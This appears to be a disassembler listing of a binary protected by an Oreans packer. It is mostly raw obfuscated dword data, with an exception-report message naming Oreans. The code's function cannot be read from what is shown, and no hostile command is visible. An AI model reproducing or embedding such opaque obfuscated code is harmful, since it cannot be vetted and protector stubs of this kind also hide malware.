		dd 0A498589h, 5F610935h, 15AEE9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 958B45A1h
		dd 93511E5h, 1CE9h, 5E900h, 0B44F0000h,	8D6BA8B6h, 37F60A85h
		dd 5D858909h, 89093525h, 352CADBDh, 6A5009h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 986529C3h
		dd 0FD50DA2Ah, 0F316CB4h, 682h,	0A18D8B00h, 8B093530h
		dd 3511798Dh, 82858D09h, 0F0937F6h, 8050FBB7h, 0BD83B2C5h
		dd 93523CDh, 18840F00h,	0F000000h, 858DD0B7h, 937F7A8h
		dd 0D8FABA66h, 12E9h, 0ADBD2900h, 8D093504h, 37F79185h
		dd 5D8D2909h, 5009352Fh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0CCC35343h, 0E0858DB4h, 810937F7h, 41C272D7h
		dd 6A5021h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 8EB1E8C3h, 0BF0FD3F2h, 5995FFD2h,	0F093527h
		dd 1388h, 0AE800h, 0EC3D0000h, 0C402DAh, 0FF662426h, 5AC9BF0Fh
		dd 6610C483h, 0C08BD08Bh, 26A1BD83h, 75000935h,	79BD8309h
		dd 93530h, 53501974h, 0D3B8C08Bh, 89000007h, 352AC185h
		dd 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh,	17740009h
		dd 0D3B85350h, 89000007h, 352AC185h, 279D8D09h,	0FF0937B1h
		dd 31585BD3h, 35275DB5h, 4850F09h, 66000000h, 8B1571BAh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0E6904A4h, 18D02664h, 68F0Fh, 958B0000h
		dd 9350455h, 0F60ABD81h, 726F0937h, 840F6165h, 0B3h, 0F682858Dh
		dd 8D500937h, 37F7BF85h, 858D5009h, 937F7E0h, 5995FF50h
		dd 83093527h, 85C60CC4h, 935179Dh, 184F6844h, 0B5FF96A3h
		dd 9350EC9h, 3898858Dh,	0D0FF0935h, 858DD88Bh, 937F7E0h
		dd 8DD3FF50h, 37F60A85h, 858D5009h, 937F682h, 0CDBD8350h
		dd 93523h, 858D0874h, 937F7A8h,	858D06EBh, 937F791h, 0E0858D50h
		dd 500937F7h, 275995FFh, 0C4830935h, 56006A10h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 8E698402h
		dd 607A8D5Ah, 619D3160h, 0F093526h, 0F61F7B7h, 58Fh, 0BCE3B800h
		dd 0FF61616Ch, 352CC595h, 55006A09h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 280E652Fh
		dd 0FF25FCF5h, 80000000h, 0F883BEE5h, 73830F05h, 0F000000h
		dd 68Eh, 91958B00h, 0C7093503h,	35069585h, 109h, 818D0100h
		dd 8D093523h, 37F63E85h, 51006A09h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 865DE0FBh, 0BD8B22B6h
		dd 9352951h, 58E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 2E66F5D6h, 0BA6672B6h
		dd 0BD83C604h, 93523CDh, 16840F00h, 0F5000000h,	0F669858Dh
		dd 0BA660937h, 16E96C88h, 29000000h, 35161995h,	4B858D09h
		dd 0F0937F6h, 48Fh, 56BA6600h, 7E85891Ah, 0E90937F6h, 12h
		dd 3CB2D88h, 987063C4h,	0C84E4C4Fh, 0F0BCAE1Fh,	0CE80DEDh
		dd 7C000000h, 0D69C2863h, 0FCBE151Ch, 2950234Bh, 350675B5h
		dd 0BD835909h, 93523CDh, 25850F00h, 0F000000h, 68Bh, 35B58900h
		dd 8309352Bh, 380605BDh, 840F0009h, 16h, 6840Fh, 0F1810000h
		dd 5AFAEA03h, 11E6E9h, 0D8806000h, 28E96168h, 0F9000004h
		dd 53BAC08Bh, 6036FE7Fh, 14E8h,	4421D00h, 0EAE8577Fh, 385A2BF0h
		dd 9EB62253h, 7F6E99D3h, 0D18B6691h, 0BD83615Eh, 93526A1h
		dd 83097500h, 353079BDh, 19740009h, 0C08B5350h,	7D4B8h
		dd 0C1858900h, 8D09352Ah, 37B4389Dh, 5BD3FF09h,	79BD8358h
		dd 93530h, 53501774h, 7D4B8h, 0C1858900h, 8D09352Ah, 37B1279Dh
		dd 5BD3FF09h, 8122B258h, 543E87D7h, 0C08BF97Dh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 81C35040h, 0E61F90B4h
		dd 0F1813226h, 6160304Fh, 0F003F68h, 1A8B0F00h,	0F000000h
		dd 1489h, 0EE800h, 83050000h, 720FA68Fh, 562944BBh, 0F5A63570h
		dd 66006A59h, 6AD68Bh, 1B419D01h, 95FF0935h, 9352F59h
		dd 0E9958B60h, 0F09351Ch, 1088h, 0BE900h, 58BB0000h, 7A743B19h
		dd 2BE7201Fh, 0C08561F3h, 0E850Fh, 9E90000h, 82000000h
		dd 316DAFFCh, 4D569CA8h, 0F6028589h, 6AFC0937h,	66D28100h
		dd 6A1FD61Ch, 819D8900h, 6A093504h, 89006A00h, 351025B5h
		dd 6A006A09h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 72C9C355h, 3AC63CA5h, 0D7D6C781h, 858D7CA8h,	937F7E0h
		dd 50F98B66h, 6860Fh, 958B0000h, 9352601h, 8D8B016Ah, 93530A9h
		dd 6A016Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 60608EC3h, 66C1BF0Fh, 6A61F08Bh, 5D8D8B01h
		dd 68093530h, 0F01FFh, 83FAB70Fh, 3523CDBDh, 840F0009h
		dd 14h,	1199533h, 858D0935h, 937F65Fh, 27E9D08Bh, 0F8000000h
		dd 0F635858Dh, 6A0937h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B966A3C3h, 8950EE67h, 351F69B5h
		dd 0FBB70F09h, 85896050h, 93506D1h, 7D18166h, 0B5FF6135h
		dd 937F602h, 0CE9h, 3117A600h, 22233D72h, 0CCCDDD66h, 0EE95FF16h
		dd 0F0937F5h, 0C80h, 6880F00h, 89000000h, 350B398Dh, 85CA8B09h
		dd 19850FC0h, 66000000h, 0E87E2CBFh, 7,	30F3D66h, 66C09768h
		dd 0E95FD38Bh, 2Fh, 0F6068589h,	81510937h, 7AC5E4C7h, 0B5FF5A1Eh
		dd 937F606h, 561ABA66h,	2C7195FFh, 85890935h, 9352FF1h
		dd 850FC085h, 3, 6A5FF853h, 52006A10h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0FB5152CEh
		dd 2E18D29h, 76BF0935h,	837255F6h, 3523CDBDh, 840F0009h
		dd 44h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh
		dd 0FC35343h, 325DF423h, 0FD8EECAh, 858DFBBFh, 937F65Fh
		dd 1091B589h, 1FE90935h, 0E9000000h, 8,	0A2D2C30Bh, 0F09435CEh
		dd 0F635858Dh, 7E90937h, 0F1000000h, 18607929h,	5750DB2Dh
		dd 0FF59D38Bh, 37F602B5h, 51006A09h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 95FF1535h
		dd 937F5FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	17C35646h, 0F1CB8BBCh, 68B0F90h, 8B000000h, 35226995h
		dd 0FC08509h, 685h, 81950B00h, 89093507h, 37F60685h, 0DDBD2309h
		dd 6A093511h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 661F105Dh, 2981D7F0h, 35015D8Dh
		dd 89006A09h, 350D3185h, 6B5FF09h, 0F0937F6h, 386h, 9DD18000h
		dd 0A0C98166h, 0F295FF50h, 850937F5h, 850FC0h, 0FF000000h
		dd 37F606B5h, 18E0F09h,	0FC000000h, 2C7195FFh, 6A0935h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0BD04B8C3h, 85CB6827h, 4850FC0h, 66000000h, 6ADEB2BAh
		dd 503CB500h, 5AF8BF0Fh, 8068h,	6AC88A00h, 45852903h, 6A093517h
		dd 0CA8B6600h, 8960006Ah, 35316DB5h, 10E809h, 82790000h
		dd 5898D3AFh, 0CA6533CCh, 4C7EAA07h, 0C9800ECFh, 66615950h
		dd 68ECF9B9h, 0C0000000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 2DC35545h, 0EFAFEE6Bh, 12E9h,	0C0018600h
		dd 392105F7h, 5DBF9B97h, 9C56ED9Bh, 0FFA56AC4h,	37F67EB5h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 3A5C45F0h, 0F1994CD0h, 0E1B589F6h, 0FF09351Ah
		dd 35244195h, 8166F909h, 834386E1h, 850FFFF8h, 618h, 11DA8166h
		dd 0EC85FF54h, 33093800h, 35280995h, 0ECBD8309h, 2093800h
		dd 4A9840Fh, 89600000h,	3525718Dh, 599D8909h, 61093532h
		dd 0F59F858Dh, 6A005Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 958B64C3h, 9351AF1h, 0D0BFD0FFh
		dd 8D7F5522h, 5AEFF285h, 8B666000h, 8B6660F8h, 0F1B70FF7h
		dd 0D0FF6161h, 0EF8AC08Bh, 26A1BD83h, 75000935h, 79BD8309h
		dd 93530h, 53501974h, 0D8B8C08Bh, 89000007h, 352AC185h
		dd 389D8D09h, 0FF0937B4h, 83585BD3h, 353079BDh,	17740009h
		dd 0D8B85350h, 89000007h, 352AC185h, 279D8D09h,	0FF0937B1h
		dd 9585BD3h, 352DD985h,	0BD8BF809h, 9350A3Dh, 9529C08Bh
		dd 9351041h, 0F003F68h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 7B1AC5F4h, 68C0Fh, 0BD890000h
		dd 93503F5h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0FB4AFFC3h, 12E8h, 0EC351600h, 8A3AFE92h
		dd 0F2FD2E4Fh, 74501B60h, 0E95D9DB9h, 0Ch, 4CA8C124h, 43F36D51h
		dd 85C4CD45h, 0F006A59h, 1684h,	11E900h, 47E70000h, 0F457506h
		dd 0FA03011Bh, 0D03E0E63h, 0E97DB200h, 6, 0CAF96060h, 95FF1E63h
		dd 9352F59h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	4DC35343h, 6810F89h, 89000000h,	351BF19Dh, 6AC08509h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0D327C353h, 7E01DC50h, 0AE9D9h, 94790000h
		dd 1FB37044h, 0C90613E3h, 0F6028589h, 0EE90937h, 4C000000h
		dd 0FEE8AB70h, 0A02634B0h, 688AFD36h, 1FF68D4h,	0BD8B000Fh
		dd 93526A9h, 23CDBD83h,	0F000935h, 2584h, 0A5858900h, 8D093505h
		dd 37F65F85h, 0D78B6609h, 2EE9h, 9E900h, 93980000h, 0B49A47BBh
		dd 66CB0113h, 858DCB8Bh, 937F635h, 12E9h, 9E16A400h, 37DEEDB3h
		dd 4076958Dh, 0C2A1AA40h, 505CDA2Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 16h, 57C35545h, 0CF8A7F9Bh, 0F602B5FFh
		dd 8E90937h, 8D000000h,	6C969D9h, 0FFAF9117h, 37F5FA95h
		dd 8589FC09h, 937F606h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 6FC35545h, 8F0F979Bh,	18h, 0BE860h, 4490000h
		dd 43999E7Ch, 8CBBFAEBh, 0E0B85B3Dh, 612B0423h,	0B8585C7h
		dd 935h, 9D290000h, 9350F5Dh, 0F606BD83h, 0F000937h, 1D884h
		dd 49BD0900h, 8D093504h, 37F8E485h, 0D0B70F09h,	51006A50h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 6C1E77AAh, 89154EE3h, 350BE9BDh, 9016A09h, 35264D95h
		dd 8C0F09h, 0FF000000h,	37F606B5h, 0FE909h, 73600000h
		dd 14B8E316h, 9DEE097Bh, 0B6C03AECh, 0FE95FF6Ch, 6A0937F5h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 235FC351h, 83D1E884h, 8BF8CE7Bh, 6B5FFCAh
		dd 6A0937F6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0E69FC355h, 0BE5EE0A6h, 4AE05277h
		dd 0ABDB589h, 8B660935h, 7195FFD6h, 8909352Ch, 35078185h
		dd 1FF6809h, 8D2B000Fh,	93506C9h, 23CDBD83h, 0F000935h
		dd 3184h, 69BD2B00h, 8D09352Fh,	37F65F85h, 6E909h, 9DA70000h
		dd 898CE7ABh, 21E9h, 10E900h, 0F56D0000h, 9CA3292Bh, 0EDAF7C43h
		dd 0B45EB6E2h, 858DE0B7h, 937F635h, 9E14CA81h, 6A5006D7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0BE2BC353h, 0FCD181BAh, 0FF7BF0C1h, 37F602B5h
		dd 0F2AB609h, 95FFFBB7h, 937F5FAh, 0F6068589h, 8D8B0937h
		dd 9350239h, 0F606B5FFh
		dd 6A0937h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 620020C3h, 0FFD1B70Fh, 37F5F695h,	0EE809h
		dd 4B3A0000h, 0CDB8D251h, 314ABDF9h, 0F3F8570Fh, 300D9589h
		dd 0FF5F0935h, 37F606B5h, 168D0F09h, 0E9000000h, 11h, 1F288C78h
		dd 0FF9FC8CEh, 265E98A9h, 0B47E623Ah, 7195FF17h, 3109352Ch
		dd 3531F9B5h, 0F652E909h, 8166FFFFh, 0FF70F3DAh, 38014FB5h
		dd 9E809h, 45DC0000h, 0C1BE2080h, 0F672782h, 68Eh, 0BD958B00h
		dd 5909350Eh, 0D0595FFh, 6A0935h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 858BDEC3h, 9352E71h
		dd 0EE8h, 1C9E8900h, 7D3CAA5Dh,	1E87F036h, 895EF87Ch, 351B79BDh
		dd 0F6E95A09h, 6A000005h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 66B5C355h, 19A9CE6Eh
		dd 8D8E59BAh, 37F904B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 86C28915h, 5218D89h, 85890935h
		dd 9350DB5h, 0A719858Dh, 958B0937h, 9352A75h, 35B9D0FFh
		dd 6A3390CEh, 8B96600h,	0C995FF67h, 0E909351Ah,	7, 58CBA4D0h
		dd 8BA5A7C9h, 4D8D01F3h, 0FC093532h, 0A719858Dh, 0FE90937h
		dd 8000000h, 8F597D31h,	48635C1Ch, 9017CF4Bh, 0D0FF87D8h
		dd 32118D8Bh, 6A0935h, 6860Fh, 8D8B0000h, 9350161h, 0A2CECF81h
		dd 95FF2488h, 9351AC9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 0DBC35343h, 0FCCCF348h, 9EB5B966h, 5E8C08Bh
		dd 0BB000000h, 37F2EAD2h, 5AD08B66h, 26A1BD83h,	75000935h
		dd 79BD8309h, 93530h, 53501974h, 0D9B8C08Bh, 89000007h
		dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h,	353079BDh
		dd 17740009h, 0D9B85350h, 89000007h, 352AC185h,	279D8D09h
		dd 0FF0937B1h, 60585BD3h, 2FC99D89h, 8D290935h,	93502F9h
		dd 0FA8B6661h, 0BA66C08Bh, 0BD8BDBCBh, 9352245h, 12E850h
		dd 7450000h, 2ACE512Fh,	2ABA40B0h, 0A593C264h, 0EC3D4573h
		dd 59958Bh, 8B5F0935h, 8D8501D8h, 53093511h, 29E99D8Dh
		dd 38B0935h, 438B0389h,	50438950h, 0E89D8Dh, 38B0938h
		dd 8A5B0389h, 459589E8h, 6A093503h, 0E909B600h,	9, 46676C82h
		dd 72EF93Ch, 0E8858D0Eh, 66093800h, 50FD75BFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0EC35343h, 0E6A55C5Eh
		dd 0F68CFE8Ch, 59958BFFh, 6A09352Ch, 2DCD8060h,	29E9858Dh
		dd 870F0935h, 0Eh, 7E950h, 0D4150000h, 4A2EF20Bh, 0F8505AC4h
		dd 8B66006Ah, 118F0FD6h, 0E9000000h, 0Ch, 0D7F2CA0Eh, 92105A13h
		dd 2FF3795Ah, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0BCF13FC3h, 0F875DBDDh, 8BE38C81h
		dd 353239BDh, 6850F09h,	8B000000h, 350A5995h, 18006809h
		dd 0BA600000h, 3870A5C5h, 53613AB7h, 7D95FFF8h,	6A093511h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E8CDC356h, 0Dh, 0A4B75839h, 83402F90h, 3AA5E898h
		dd 2FE981EFh, 5F368496h, 2CE595FFh, 0DE80935h, 13000000h
		dd 4CB34FC5h, 3FD4F9F2h, 0CB93A8CEh, 0B5FF5AF5h, 938014Fh
		dd 5E9h, 0DAFBD100h, 95FF4F27h,	9350D05h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0F3C35343h, 12E08A65h
		dd 89053A1Bh, 35129985h, 0E9858D09h, 0FC093529h, 0C718408Bh
		dd 35027585h, 9, 0D1BF0F00h, 23CDBD83h,	0F000935h, 2484h
		dd 68A0F00h, 89000000h,	3511C1B5h, 8C3D09h, 830F0000h
		dd 1EBh, 17458D8Bh, 1BE90935h, 8B000000h, 963DF9h, 830F0000h
		dd 1D3h, 6840Fh, 958B0000h, 9350E39h, 858DD08Bh, 5AF59Fh
		dd 16258509h, 0D0FF0935h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 9DC35747h, 2EE8FB4Fh,	0DAAFB380h, 816660A3h
		dd 89A21DDFh, 3500D195h, 95896109h, 9353341h, 0EFF2858Dh
		dd 8951005Ah, 350EBDBDh, 0D0FF5A09h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 0BAC35141h,	6F77B123h, 0FCCEFA6h
		dd 38Dh, 0D18B6600h, 0BD8BC08Bh, 9351B8Dh, 26A1BD83h, 75000935h
		dd 79BD8309h, 93530h, 53501974h, 0C6B8C08Bh, 8900000Bh
		dd 352AC185h, 389D8D09h, 0FF0937B4h, 83585BD3h,	353079BDh
		dd 17740009h, 0C6B85350h, 8900000Bh, 352AC185h,	279D8D09h
		dd 0FF0937B1h, 6A585BD3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0C335C355h,	0D5E389D4h
		dd 0C08B7D15h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0BC35646h, 0D18B6613h, 16618D0Bh, 8E0F0935h, 0Ch
		dd 6830Fh, 0B5890000h, 9352BF9h, 0FFFF883h, 4C85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 660EFB65h, 3029331h,	85C7F5EDh, 9350595h, 0
		dd 6890Fh, 8D030000h, 93529E5h,	0BFE9h,	820F00h, 0E9000000h
		dd 1Bh,	1F883F9h, 11850Fh, 0BD330000h, 9353269h, 0ECE9h
		dd 95958B00h, 0E909350Eh, 0FFFFF0D0h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 90C35646h, 8B9A623Eh, 63BA51C0h
		dd 5A68BF61h, 26A1BD83h, 75000935h, 79BD8309h, 93530h
		dd 53501974h, 0DDB8C08Bh, 89000007h, 352AC185h,	389D8D09h
		dd 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h,	0DDB85350h
		dd 89000007h, 352AC185h, 279D8D09h, 0FF0937B1h,	66585BD3h
		dd 0C981D08Bh, 30E3A303h, 880FC08Bh, 5,	9356D4BAh, 4DB5891Dh
		dd 0E909352Dh, 217h, 0FEEC858Dh, 6A0937h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E988A4C3h
		dd 0Dh,	0F40CAEEFh, 0C2DE3E54h,	0A3D62D55h, 0DB65BF63h
		dd 0D38B0919h, 0E48589h, 2FE90938h, 31000000h, 35286595h
		dd 0F4858D09h, 600937FCh, 8E9DE8Bh, 96000000h, 0CF841891h
		dd 61C421B6h, 798D8B40h, 8909351Ch, 3800E485h, 871FBF09h
		dd 346A6073h, 1E11858Dh, 0FF500935h, 3800E4B5h,	0FF006A09h
		dd 3525A195h, 7F88309h,	162840Fh, 8C660000h, 4C3F6DBh
		dd 0FC850Fh, 85C60000h,	935179Dh, 0B8526856h, 0B5FF9CA8h
		dd 9350EC9h, 3898858Dh,	0D0FF0935h, 68046Ah, 6A000010h
		dd 0FF006A64h, 578589D0h, 0C6093801h, 35179D85h, 9B684709h
		dd 0FFEC18ACh, 350EC9B5h, 98858D09h, 0FF093538h, 8BD0FFD0h
		dd 9D85C6F0h, 4F093517h, 2F266168h, 21B5FFC6h, 8D093526h
		dd 35389885h, 8DD0FF09h, 3801539Dh, 286A5309h, 85D0FF56h
		dd 0C60075C0h, 35179D85h, 98684109h, 0FFDB8764h, 352621B5h
		dd 98858D09h, 0FF093538h, 708589D0h, 0C6093801h, 35179D85h
		dd 0A4684C09h, 0FF80A4E7h, 352621B5h, 98858D09h, 0FF093538h
		dd 579D8BD0h, 8D093801h, 8D53045Bh, 38015C9Dh, 6A5309h
		dd 9D8BD0FFh, 9380157h,	103C7h,	43C70000h, 20Ch, 3D85C700h
		dd 93530h, 6A000000h, 6A006A00h, 579D8B00h, 53093801h
		dd 0B5FF006Ah, 9380153h, 17095FFh, 85C60938h, 935179Dh
		dd 0F7976845h, 0B5FF92A5h, 935057Dh, 3898858Dh,	0D0FF0935h
		dd 26A006Ah, 8C66D0FFh,	4C3F6DBh, 9D8B3275h, 9380157h
		dd 0C43C7h, 6A000000h, 8B006A00h, 3801579Dh, 6A5309h, 153B5FFh
		dd 95FF0938h, 9380170h,	153B5FFh, 95FF0938h, 9352CE5h
		dd 95FF006Ah, 9351AC9h,	0CE9h, 9447E500h, 9685039Ah, 200EED23h
		dd 0F59D293Ch, 8D09350Ch, 3833A485h, 0FEB70F09h, 7BE28166h
		dd 0B8605048h, 0AF0F9A8h, 68E0Fh, 958B0000h, 93527B9h
		dd 35FF6461h, 0
		dd 0CB18A1B9h, 0C98D896Bh, 64093525h, 2589h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E88CB3C3h, 12h, 657AD2Ah, 0FF808A05h, 44681A80h, 46B38904h
		dd 0BA66F7F0h, 665F6FDBh, 0B4E9D781h, 2365BD83h, 0F000935h
		dd 7384h, 0A830F00h, 0E9000000h, 5, 68E5D18h, 19BD83DEh
		dd 109351Ch, 56850Fh, 0BD8B0000h, 9352791h, 570BD80h, 0F000938h
		dd 4385h, 75958B00h, 2909352Ch,	35012D95h, 1B8E909h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0D1807DC3h, 9E9BBh, 75560000h, 7F819D15h, 6643C30Ah
		dd 0A4A4D181h, 6ADB33h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0EB251DC3h, 830F2A74h, 6, 2C599589h
		dd 0C0330935h, 0AE9h, 89F59B00h, 0D454BAE2h, 408A69A8h
		dd 0B073F0Fh, 58F64h, 83000000h, 6A04C4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 372ABFC3h
		dd 0D4340EB9h, 8D8BD5C8h, 93524C1h, 0FE960h, 43560000h
		dd 9CCEAB7Eh, 6E620A9Ch, 0A310B152h, 21858B75h,	6109350Ah
		dd 0FFFFB83h, 1284h, 0C18D8900h, 89093506h, 35000595h
		dd 0CEE909h, 0E9F80000h, 7Dh, 4C8BF58Ah, 81C70C24h, 0A4h
		dd 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h, 0E8550C24h
		dd 0
aBa38Lg		db ']│Мф38',9,'▀┐╦',0
		align 10h
		dd 74858D00h, 89093834h, 0B883h, 0C0335D00h, 50006AC3h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 89C96287h, 57006A4Eh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0BC858DAFh, 66093833h, 50ED25BFh
		dd 0FF6421B6h, 35h, 398D8B00h, 64093528h, 2589h, 0CA8A0000h
		dd 0AB9h, 0D704B800h, 64054855h, 0BB0DF781h, 8685D465h
		dd 34B640BAh, 0E8EA8100h, 0ED00345Fh, 5868FB81h, 0A75564Dh
		dd 0FBD85C7h, 10935h, 8F640000h, 5, 4C48300h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0FCC35040h, 0F547EC78h
		dd 7EB3A19Dh, 2185899Bh, 0BA09352Eh, 2DC74C88h,	0C08BB3B1h
		dd 8BD38B66h, 3522DD95h, 0A1BD8309h, 93526h, 0BD830975h
		dd 9353079h, 50197400h,	0B8C08B53h, 43Dh, 2CA98589h, 9D8D0935h
		dd 937B49Fh, 585BD3FFh,	3079BD83h, 74000935h, 0B8535017h
		dd 43Dh, 2CA98589h, 9D8D0935h, 937B140h, 585BD3FFh, 2699BD33h
		dd 860F0935h, 0Bh, 6E9h, 0FE085100h, 8B1A40D0h,	13AE9C0h
		dd 40000h, 2E310000h, 353538h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
aGX5		db '┐╫∙',0Dh,'5',9,0
		db 0Fh
		dd 12D84h, 57858D00h, 500937AFh, 0AEC1858Dh, 68500937h
		dd 80000001h, 0AF6795FFh, 858D0937h, 9383524h, 2E858D50h
		dd 50093835h, 6A006Ah, 0AED5858Dh, 0FF500937h, 37AF57B5h
		dd 0FD95FF09h, 8D09351Eh, 38352485h, 858D5009h,	9383532h
		dd 6A006A50h, 0E7858D00h, 500937AEh, 0AF57B5FFh, 95FF0937h
		dd 9351EFDh, 3524858Dh,	8D500938h, 38353E85h, 6A5009h
		dd 858D006Ah, 937AF34h,	57B5FF50h, 0FF0937AFh, 351EFD95h
		dd 24858D09h, 50093835h, 3546858Dh, 6A500938h, 8D006A00h
		dd 37AF5285h, 0B5FF5009h, 937AF57h, 1EFD95FFh, 858D0935h
		dd 9383524h, 42858D50h,	50093835h, 6A006Ah, 0AF3B858Dh
		dd 0FF500937h, 37AF57B5h, 0FD95FF09h, 8D09351Eh, 38352485h
		dd 858D5009h, 9383536h,	6A006A50h, 43858D00h, 500937AFh
		dd 0AF57B5FFh, 95FF0937h, 9351EFDh, 3524858Dh, 8D500938h
		dd 38353A85h, 6A5009h, 858D006Ah, 937AF4Ah, 57B5FF50h
		dd 0FF0937AFh, 351EFD95h, 57B5FF09h, 0FF0937AFh, 351AED95h
		dd 0A2E909h, 0BD830000h, 9352C5Dh, 95840F00h, 83000000h
		dd 351C19BDh, 850F0009h, 11h, 0C05958Bh, 0C2810935h, 1CF8h
		dd 0FE9h, 0E9958D00h, 8B093529h, 0C2813452h, 3BD4C340h
		dd 1C699589h, 0BD830935h, 9351C69h, 55840F00h, 8B000000h
		dd 351C699Dh, 4CC38309h, 8589038Bh, 938352Eh, 1C699D8Bh
		dd 0C3830935h, 89038B50h, 38353285h, 699D8B09h,	8309351Ch
		dd 38B54C3h, 353E8589h,	9D8B0938h, 9351C69h, 8B58C383h
		dd 42858903h, 8B093835h, 351C699Dh, 5CC38309h, 8589038Bh
		dd 9383536h, 0D95BD83h,	0F000935h, 0D85h, 5DBD8300h, 9352Ch
		dd 68840Fh, 0B5FF0000h,	9383546h, 353AB5FFh, 0B5FF0938h
		dd 9383536h, 3542B5FFh,	0B5FF0938h, 938353Eh, 3532B5FFh
		dd 0B5FF0938h, 938352Eh, 3528858Dh, 8D500938h, 38356085h
		dd 858D5009h, 9351F9Dh,	5995FF50h, 83093527h, 406A24C4h
		dd 354A858Dh, 8D500938h, 351F9D85h, 6A5009h, 25A195FFh
		dd 16A0935h, 1AC995FFh,	0C18B0935h, 8BD78B60h, 51006AC0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
